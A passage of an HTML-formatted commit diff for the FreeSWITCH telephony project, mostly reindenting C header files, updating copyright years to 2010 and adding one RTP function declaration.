</span><del>-SWITCH_MOD_DECLARE(switch_status_t) switch_module_load(switch_loadable_module_interface_t **module_interface, char *filename);
</del><ins>+SWITCH_MOD_DECLARE(switch_status_t) switch_module_load(switch_loadable_module_interface_t ** module_interface, char *filename);
</ins><span class="cx"> SWITCH_MOD_DECLARE(switch_status_t) switch_module_runtime(void);
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -325,14 +325,15 @@
</span><span class="cx">                 break;                                                                                                                        \
</span><span class="cx">         }
</span><span class="cx">
</span><del>-static inline int switch_check_interval(uint32_t rate, uint32_t ptime)
</del><ins>+         static inline int switch_check_interval(uint32_t rate, uint32_t ptime)
</ins><span class="cx"> {
</span><span class="cx">         uint32_t max_ms = 0, ptime_div = 0;
</span><span class="cx">
</span><span class="cx">         switch (rate) {
</span><span class="cx">         case 22050:
</span><span class="cx">         case 11025:
</span><del>-                if (ptime < 120) return 1;
</del><ins>+                if (ptime < 120)
+                        return 1;
</ins><span class="cx">                 break;
</span><span class="cx">         case 48000:
</span><span class="cx">                 max_ms = 40;
</span><span class="lines">@@ -350,13 +351,13 @@
</span><span class="cx">         case 8000:
</span><span class="cx">                 max_ms = 120;
</span><span class="cx">                 ptime_div = 2;
</span><del>-                break;                
</del><ins>+                break;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (max_ms && ptime_div && (ptime <= max_ms && (ptime % ptime_div) == 0) && ((rate / 1000) * ptime) < SWITCH_RECOMMENDED_BUFFER_SIZE) {
</span><span class="cx">                 return 1;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -420,7 +421,7 @@
</span><span class="cx">                 impl->impl_id = switch_core_codec_next_id();
</span><span class="cx">                 codec_interface->implementations = impl;
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Rejected codec name: %s rate: %u ptime: %u\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Rejected codec name: %s rate: %u ptime: %u\n",
</ins><span class="cx">                                                  iananame, actual_samples_per_second, microseconds_per_packet / 1000);
</span><span class="cx">         }
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_logh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_log.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_log.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_log.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -114,9 +114,8 @@
</span><span class="cx"> \see switch_types.h
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(void) switch_log_vprintf(_In_ switch_text_channel_t channel, _In_z_ const char *file,
</span><del>-                                                                         _In_z_ const char *func, _In_ int line,
-                                                                         _In_opt_z_ const char *userdata, _In_ switch_log_level_t level,
-                                                                                const char *fmt, va_list ap);
</del><ins>+                                                                                _In_z_ const char *func, _In_ int line,
+                                                                                _In_opt_z_ const char *userdata, _In_ switch_log_level_t level, const char *fmt, va_list ap);
</ins><span class="cx">
</span><span class="cx"> #endif
</span><span class="cx"> /*!
</span><span class="lines">@@ -144,7 +143,7 @@
</span><span class="cx"> #define switch_log_check_mask(_mask, _level) (_mask & (1 << _level))
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_log_node_t*) switch_log_node_dup(const switch_log_node_t *node);
</del><ins>+SWITCH_DECLARE(switch_log_node_t *) switch_log_node_dup(const switch_log_node_t *node);
</ins><span class="cx"> SWITCH_DECLARE(void) switch_log_node_free(switch_log_node_t **pnode);
</span><span class="cx">
</span><span class="cx"> ///\}
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_module_interfacesh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_module_interfaces.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_module_interfaces.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_module_interfaces.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -45,7 +45,7 @@
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><span class="cx"> /*! \brief A table of functions to execute at various states
</span><span class="cx"> */
</span><del>-typedef enum {
</del><ins>+        typedef enum {
</ins><span class="cx">         SWITCH_SHN_ON_INIT,
</span><span class="cx">         SWITCH_SHN_ON_ROUTING,
</span><span class="cx">         SWITCH_SHN_ON_EXECUTE,
</span><span class="lines">@@ -106,7 +106,27 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> typedef switch_call_cause_t (*switch_io_outgoing_channel_t)
</span><del>-(switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t **, switch_memory_pool_t **, switch_originate_flag_t, switch_call_cause_t *);
</del><ins>+
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        (switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t **, switch_memory_pool_t **, switch_originate_flag_t,
+         switch_call_cause_t *);
</ins><span class="cx"> typedef switch_status_t (*switch_io_read_frame_t) (switch_core_session_t *, switch_frame_t **, switch_io_flag_t, int);
</span><span class="cx"> typedef switch_status_t (*switch_io_write_frame_t) (switch_core_session_t *, switch_frame_t *, switch_io_flag_t, int);
</span><span class="cx"> typedef switch_status_t (*switch_io_kill_channel_t) (switch_core_session_t *, int);
</span><span class="lines">@@ -441,7 +461,7 @@
</span><span class="cx">         switch_audio_resampler_t *resampler;
</span><span class="cx">         switch_buffer_t *buffer;
</span><span class="cx">         switch_byte_t *dbuf;
</span><del>-        switch_size_t dbuflen;        
</del><ins>+        switch_size_t dbuflen;
</ins><span class="cx">         /*! the current samplerate */
</span><span class="cx">         uint32_t samplerate;
</span><span class="cx">         /*! the current native samplerate */
</span><span class="lines">@@ -470,7 +490,7 @@
</span><span class="cx">         /*! the name of the interface */
</span><span class="cx">         const char *interface_name;
</span><span class="cx">         /*! function to open the directory interface */
</span><del>-        switch_status_t (*chat_send) (const char *proto, const char *from, const char *to,
</del><ins>+        switch_status_t (*chat_send) (const char *proto, const char *from, const char *to,
</ins><span class="cx">                                                                  const char *subject, const char *body, const char *type, const char *hint);
</span><span class="cx">         switch_thread_rwlock_t *rwlock;
</span><span class="cx">         int refs;
</span><span class="lines">@@ -680,8 +700,8 @@
</span><span class="cx">         struct switch_api_interface *next;
</span><span class="cx"> };
</span><span class="cx">
</span><del>-#define PROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it->reflock); switch_thread_rwlock_rdlock(_it->parent->rwlock); switch_thread_rwlock_rdlock(_it->rwlock); _it->refs++; _it->parent->refs++; switch_mutex_unlock(_it->reflock);} //if (!strcmp(_it->interface_name, "user")) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "+++++++++++LOCK %s %d/%d\n", _it->interface_name, _it->refs, _it->parent->refs);
-#define UNPROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it->reflock); switch_thread_rwlock_unlock(_it->rwlock); switch_thread_rwlock_unlock(_it->parent->rwlock); _it->refs--; _it->parent->refs--; switch_mutex_unlock(_it->reflock);} //if (!strcmp(_it->interface_name, "user")) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "---------UNLOCK %s %d/%d\n", _it->interface_name, _it->refs, _it->parent->refs);
</del><ins>+#define PROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it->reflock); switch_thread_rwlock_rdlock(_it->parent->rwlock); switch_thread_rwlock_rdlock(_it->rwlock); _it->refs++; _it->parent->refs++; switch_mutex_unlock(_it->reflock);}        //if (!strcmp(_it->interface_name, "user")) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "+++++++++++LOCK %s %d/%d\n", _it->interface_name, _it->refs, _it->parent->refs);
+#define UNPROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it->reflock); switch_thread_rwlock_unlock(_it->rwlock); switch_thread_rwlock_unlock(_it->parent->rwlock); _it->refs--; _it->parent->refs--; switch_mutex_unlock(_it->reflock);}        //if (!strcmp(_it->interface_name, "user")) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "---------UNLOCK %s %d/%d\n", _it->interface_name, _it->refs, _it->parent->refs);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> SWITCH_END_EXTERN_C
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_mprintfh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_mprintf.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_mprintf.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_mprintf.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -14,7 +14,6 @@
</span><span class="cx"> #define SWITCH_MPRINTF_H
</span><span class="cx">
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><del>-
</del><span class="cx"> /**
</span><span class="cx"> * This routine is a variant of the "sprintf()" from the
</span><span class="cx"> * standard C library. The resulting string is written into memory
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_nath"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_nat.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_nat.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_nat.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -38,9 +38,7 @@
</span><span class="cx"> #ifndef _SWITCH_NAT_H
</span><span class="cx"> #define _SWITCH_NAT_H
</span><span class="cx">
</span><del>-SWITCH_BEGIN_EXTERN_C
-
-typedef enum {
</del><ins>+SWITCH_BEGIN_EXTERN_C typedef enum {
</ins><span class="cx">         SWITCH_NAT_TYPE_NONE,
</span><span class="cx">         SWITCH_NAT_TYPE_PMP,
</span><span class="cx">         SWITCH_NAT_TYPE_UPNP
</span><span class="lines">@@ -87,7 +85,8 @@
</span><span class="cx"> \param external_port [out] Mapped external port
</span><span class="cx"> \param sticky make the mapping permanent
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port,
+                                                                                                         switch_bool_t sticky);
</ins><span class="cx"> /*!
</span><span class="cx"> \brief Has the NAT subsystem been initialized
</span><span class="cx"> */
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_odbch"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_odbc.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_odbc.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_odbc.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -34,11 +34,9 @@
</span><span class="cx">
</span><span class="cx"> #include <switch.h>
</span><span class="cx">
</span><del>-SWITCH_BEGIN_EXTERN_C
</del><ins>+SWITCH_BEGIN_EXTERN_C struct switch_odbc_handle;
+typedef void *switch_odbc_statement_handle_t;
</ins><span class="cx">
</span><del>-struct switch_odbc_handle;
-typedef void * switch_odbc_statement_handle_t;
-
</del><span class="cx"> typedef enum {
</span><span class="cx">         SWITCH_ODBC_STATE_INIT,
</span><span class="cx">         SWITCH_ODBC_STATE_DOWN,
</span><span class="lines">@@ -56,14 +54,11 @@
</span><span class="cx"> SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_connect(switch_odbc_handle_t *handle);
</span><span class="cx"> SWITCH_DECLARE(void) switch_odbc_handle_destroy(switch_odbc_handle_t **handlep);
</span><span class="cx"> SWITCH_DECLARE(switch_odbc_state_t) switch_odbc_handle_get_state(switch_odbc_handle_t *handle);
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt, char **err);
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle,
-                                                                                                                                        const char *sql,
-                                                                                                                                        char *resbuf,
-                                                                                                                                        size_t len,
-                                                                                                                                        char **err);
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt,
+                                                                                                                         char **err);
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle, const char *sql, char *resbuf, size_t len, char **err);
</ins><span class="cx"> SWITCH_DECLARE(switch_bool_t) switch_odbc_available(void);
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t * stmt);
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t *stmt);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief Execute the sql query and issue a callback for each row returned
</span><span class="lines">@@ -78,7 +73,8 @@
</span><span class="cx"> \note none
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_callback_exec_detailed(const char *file, const char *func, int line, switch_odbc_handle_t *handle,
</span><del>-                                                                                                                                                         const char *sql, switch_core_db_callback_func_t callback, void *pdata, char **err);
</del><ins>+                                                                                                                                                         const char *sql, switch_core_db_callback_func_t callback, void *pdata,
+                                                                                                                                                         char **err);
</ins><span class="cx"> /*!
</span><span class="cx"> \brief Execute the sql query and issue a callback for each row returned
</span><span class="cx"> \param handle the ODBC handle
</span><span class="lines">@@ -92,7 +88,7 @@
</span><span class="cx">                 switch_odbc_handle_callback_exec_detailed(__FILE__, (char * )__SWITCH_FUNC__, __LINE__, \
</span><span class="cx">                                                                                                  handle, sql, callback, pdata, err)
</span><span class="cx">
</span><del>-                                                                                                                                        
</del><ins>+
</ins><span class="cx"> SWITCH_DECLARE(char *) switch_odbc_handle_get_error(switch_odbc_handle_t *handle, switch_odbc_statement_handle_t stmt);
</span><span class="cx"> SWITCH_END_EXTERN_C
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_platformh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_platform.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_platform.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_platform.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -85,7 +85,7 @@
</span><span class="cx"> #undef inline
</span><span class="cx"> #define inline __inline
</span><span class="cx"> #ifndef uint32_t
</span><del>-        typedef unsigned __int8 uint8_t;
</del><ins>+typedef unsigned __int8 uint8_t;
</ins><span class="cx"> typedef unsigned __int16 uint16_t;
</span><span class="cx"> typedef unsigned __int32 uint32_t;
</span><span class="cx"> typedef unsigned __int64 uint64_t;
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_regexh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_regex.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_regex.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_regex.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -68,7 +68,7 @@
</span><span class="cx"> \param partial If non-zero returns SUCCESS if the target is a partial match, on successful return, this is set to non-zero if the match was partial and zero if it was a full match
</span><span class="cx"> \return Boolean if a match was found or not
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int * partial_match);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int *partial_match);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> #define switch_regex_safe_free(re)        if (re) {\
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_resampleh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_resample.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_resample.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_resample.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -51,7 +51,7 @@
</span><span class="cx"> \{
</span><span class="cx"> */
</span><span class="cx"> /*! \brief An audio resampling handle */
</span><del>-typedef struct {
</del><ins>+        typedef struct {
</ins><span class="cx">         /*! a pointer to store the resampler object */
</span><span class="cx">         void *resampler;
</span><span class="cx">         /*! the rate to resample from in hz */
</span><span class="lines">@@ -61,11 +61,11 @@
</span><span class="cx">         /*! the factor to resample by (from / to) */
</span><span class="cx">         double factor;
</span><span class="cx">         double rfactor;
</span><del>- int16_t *to;
- /*! the size of the to buffer used */
- uint32_t to_len;
- /*! the total size of the to buffer */
- uint32_t to_size;
</del><ins>+        int16_t *to;
+        /*! the size of the to buffer used */
+        uint32_t to_len;
+        /*! the total size of the to buffer */
+        uint32_t to_size;
</ins><span class="cx">
</span><span class="cx"> } switch_audio_resampler_t;
</span><span class="cx">
</span><span class="lines">@@ -79,9 +79,7 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_resample_perform_create(switch_audio_resampler_t **new_resampler,
</span><span class="cx">                                                                                                                          uint32_t from_rate, uint32_t to_rate, uint32_t to_size,
</span><del>-                                                                                                                         int quality,
-                                                                                                                         uint32_t channels,
-                                                                                                                         const char *file, const char *func, int line);
</del><ins>+                                                                                                                         int quality, uint32_t channels, const char *file, const char *func, int line);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> #define switch_resample_create(_n, _fr, _tr, _ts, _q, _c) switch_resample_perform_create(_n, _fr, _tr, _ts, _q, _c, __FILE__, __SWITCH_FUNC__, __LINE__)
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_rtph"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_rtp.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_rtp.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_rtp.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -45,8 +45,7 @@
</span><span class="cx"> #define SWITCH_RTP_KEY_LEN 30
</span><span class="cx"> #define SWITCH_RTP_CRYPTO_KEY_32 "AES_CM_128_HMAC_SHA1_32"
</span><span class="cx"> #define SWITCH_RTP_CRYPTO_KEY_80 "AES_CM_128_HMAC_SHA1_80"
</span><del>-
-typedef enum {
</del><ins>+        typedef enum {
</ins><span class="cx">         SWITCH_RTP_CRYPTO_SEND,
</span><span class="cx">         SWITCH_RTP_CRYPTO_RECV,
</span><span class="cx">         SWITCH_RTP_CRYPTO_MAX
</span><span class="lines">@@ -54,7 +53,7 @@
</span><span class="cx">
</span><span class="cx"> typedef enum {
</span><span class="cx">         NO_CRYPTO,
</span><del>-        AES_CM_128_HMAC_SHA1_80,
</del><ins>+        AES_CM_128_HMAC_SHA1_80,
</ins><span class="cx">         AES_CM_128_HMAC_SHA1_32,
</span><span class="cx">         AES_CM_128_NULL_AUTH
</span><span class="cx"> } switch_rtp_crypto_key_type_t;
</span><span class="lines">@@ -97,6 +96,8 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_port_t) switch_rtp_set_start_port(switch_port_t port);
</span><span class="cx">
</span><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_ssrc(switch_rtp_t *rtp_session, uint32_t ssrc);
+
</ins><span class="cx"> /*!
</span><span class="cx"> \brief Set/Get RTP end port
</span><span class="cx"> \param port new value (if > 0)
</span><span class="lines">@@ -166,7 +167,7 @@
</span><span class="cx"> \param port the remote port
</span><span class="cx"> \param err pointer for error messages
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
</ins><span class="cx">                                                                                                                          switch_bool_t change_adv_addr, const char **err);
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(char *) switch_rtp_get_remote_host(switch_rtp_t *rtp_session);
</span><span class="lines">@@ -183,8 +184,7 @@
</span><span class="cx"> \param err pointer for error messages
</span><span class="cx"> \note this call also binds the RTP session's socket to the new address
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_rtp_set_local_address(switch_rtp_t *rtp_session, const char *host,
-                                                                                                                         switch_port_t port, const char **err);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_rtp_set_local_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port, const char **err);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief Kill the socket on an existing RTP session
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_schedulerh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_scheduler.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_scheduler.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_scheduler.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_stunh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_stun.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_stun.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_stun.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -41,8 +41,7 @@
</span><span class="cx"> #define SWITCH_STUN_DEFAULT_PORT 3478
</span><span class="cx"> #define SWITCH_STUN_PACKET_MIN_LEN 20
</span><span class="cx"> #define SWITCH_STUN_ATTRIBUTE_MIN_LEN 8
</span><del>-
-typedef enum {
</del><ins>+        typedef enum {
</ins><span class="cx">         SWITCH_STUN_BINDING_REQUEST = 0x0001,
</span><span class="cx">         SWITCH_STUN_BINDING_RESPONSE = 0x0101,
</span><span class="cx">         SWITCH_STUN_BINDING_ERROR_RESPONSE = 0x0111,
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_typesh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_types.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_types.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_types.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -181,7 +181,6 @@
</span><span class="cx"> #define SWITCH_BITS_PER_BYTE 8
</span><span class="cx"> #define SWITCH_DEFAULT_FILE_BUFFER_LEN 65536
</span><span class="cx"> #define SWITCH_DTMF_LOG_LEN 1000
</span><del>-
</del><span class="cx"> typedef uint8_t switch_byte_t;
</span><span class="cx">
</span><span class="cx"> typedef struct {
</span><span class="lines">@@ -394,7 +393,7 @@
</span><span class="cx"> #define SWITCH_INTERVAL_PAD 10        /* A little extra buffer space to be safe */
</span><span class="cx"> #define SWITCH_MAX_SAMPLE_LEN 48
</span><span class="cx"> #define SWITCH_BYTES_PER_SAMPLE 2        /* slin is 2 bytes per sample */
</span><del>-#define SWITCH_RECOMMENDED_BUFFER_SIZE 4096 /* worst case of 32khz @60ms we only do 48khz @10ms which is 960 */
</del><ins>+#define SWITCH_RECOMMENDED_BUFFER_SIZE 4096        /* worst case of 32khz @60ms we only do 48khz @10ms which is 960 */
</ins><span class="cx"> #define SWITCH_MAX_CODECS 50
</span><span class="cx"> #define SWITCH_MAX_STATE_HANDLERS 30
</span><span class="cx"> #define SWITCH_CORE_QUEUE_LEN 100000
</span><span class="lines">@@ -425,7 +424,7 @@
</span><span class="cx">         SWITCH_XML_SECTION_DIRECTORY = (1 << 1),
</span><span class="cx">         SWITCH_XML_SECTION_DIALPLAN = (1 << 2),
</span><span class="cx">         SWITCH_XML_SECTION_PHRASES = (1 << 3),
</span><del>-        
</del><ins>+
